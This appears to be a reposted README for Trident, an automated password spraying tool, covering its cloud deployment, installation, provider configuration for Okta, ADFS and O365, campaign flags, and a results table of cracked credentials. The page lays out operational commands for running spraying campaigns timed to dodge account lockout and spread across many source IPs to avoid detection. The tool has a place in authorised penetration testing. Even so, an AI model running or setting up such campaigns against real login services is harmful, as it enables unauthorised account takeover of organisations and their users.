Trident - Automated Password Spraying Tool

[sc name=”ad_1″]

The Trident project is an automated password spraying tool developed to meet the following requirements:

  • the ability to be deployed on several cloud platforms/execution providers
  • the ability to schedule spraying campaigns in accordance with a target’s account lockout policy
  • the ability to increase the IP pool that authentication attempts originate from for operational security purposes
  • the ability to quickly extend functionality to include newly-encountered authentication platforms

Architecture

Deployment

Deploying trident requires a Google Cloud project, a domain name (for the orchestrator API), and a Cloudflare Access configuration for this domain. Cloudflare Access is used to authenticate requests to the orchestrator API.

brew install cloudflare/cloudflare/cloudflared
brew install terraform
cd terraform
cloudflared login
terraform init
terraform plan
terraform apply

Installation

Trident has a command line interface available in the releases page. Alternatively, you can download and install trident-client via go get:

GO111MODULE=on go get github.com/praetorian-inc/trident/cmd/trident-client

Usage

Config

The trident-client binary sends API requests to the orchestrator. It reads from ~/.trident/config.yaml, which has the following format:

orchestrator-url: https://trident.example.org
providers:
  okta:
    subdomain: example
  adfs:
    domain: adfs.example.org
  o365:
    domain: login.microsoft.com

Campaigns

With a valid config.yaml, the trident-client can be used to create password spraying campaigns, as shown below:

trident-client campaign -u usernames.txt -p passwords.txt --interval 5s --window 120s

The --interval option allows the operator to insert delays between credential attempts. The --window option allows the operator to set a hard stop time for the campaign. Additional arguments are documented below:

Usage:
  trident-cli campaign [flags]
Flags:
-a, --auth-provider string this is the authentication platform you are attacking (default "okta")
-h, --help help for campaign
-i, --interval duration requests will happen with this interval between them (default 1s)
-b, --notbefore string requests will not start before this time (default "2020-09-09T22:31:38.643959-05:00")
-p, --passfile string file of passwords (newline separated)
-u, --userfile string file of usernames (newline separated)
-w, --window duration a duration that this campaign will be active (ex: 4w) (default 672h0m0s)

Results

The results subcommand can be used to query the result table. This subcommand has several options, but defaults to showing all valid credentials across all campaigns.

$ trident-client results
+----+-------------------+------------+-------+
| ID | USERNAME          | PASSWORD   | VALID |
+----+-------------------+------------+-------+
|  1 | [email protected] | Password1! | true  |
|  2 | [email protected]   | Password2! | true  |
|  3 | [email protected]   | Password3! | true  |
+----+-------------------+------------+-------+

Additional arguments are documented below:

Usage:
  trident-cli results [flags]
Flags:
-f, --filter string filter on db results (specified in JSON) (default '{"valid":true}')
-h, --help help for results
-o, --output-format string output format (table, csv, json) (default "table")
-r, --return string the list of fields you would like to see from the results (comma-separated string) (default "*")
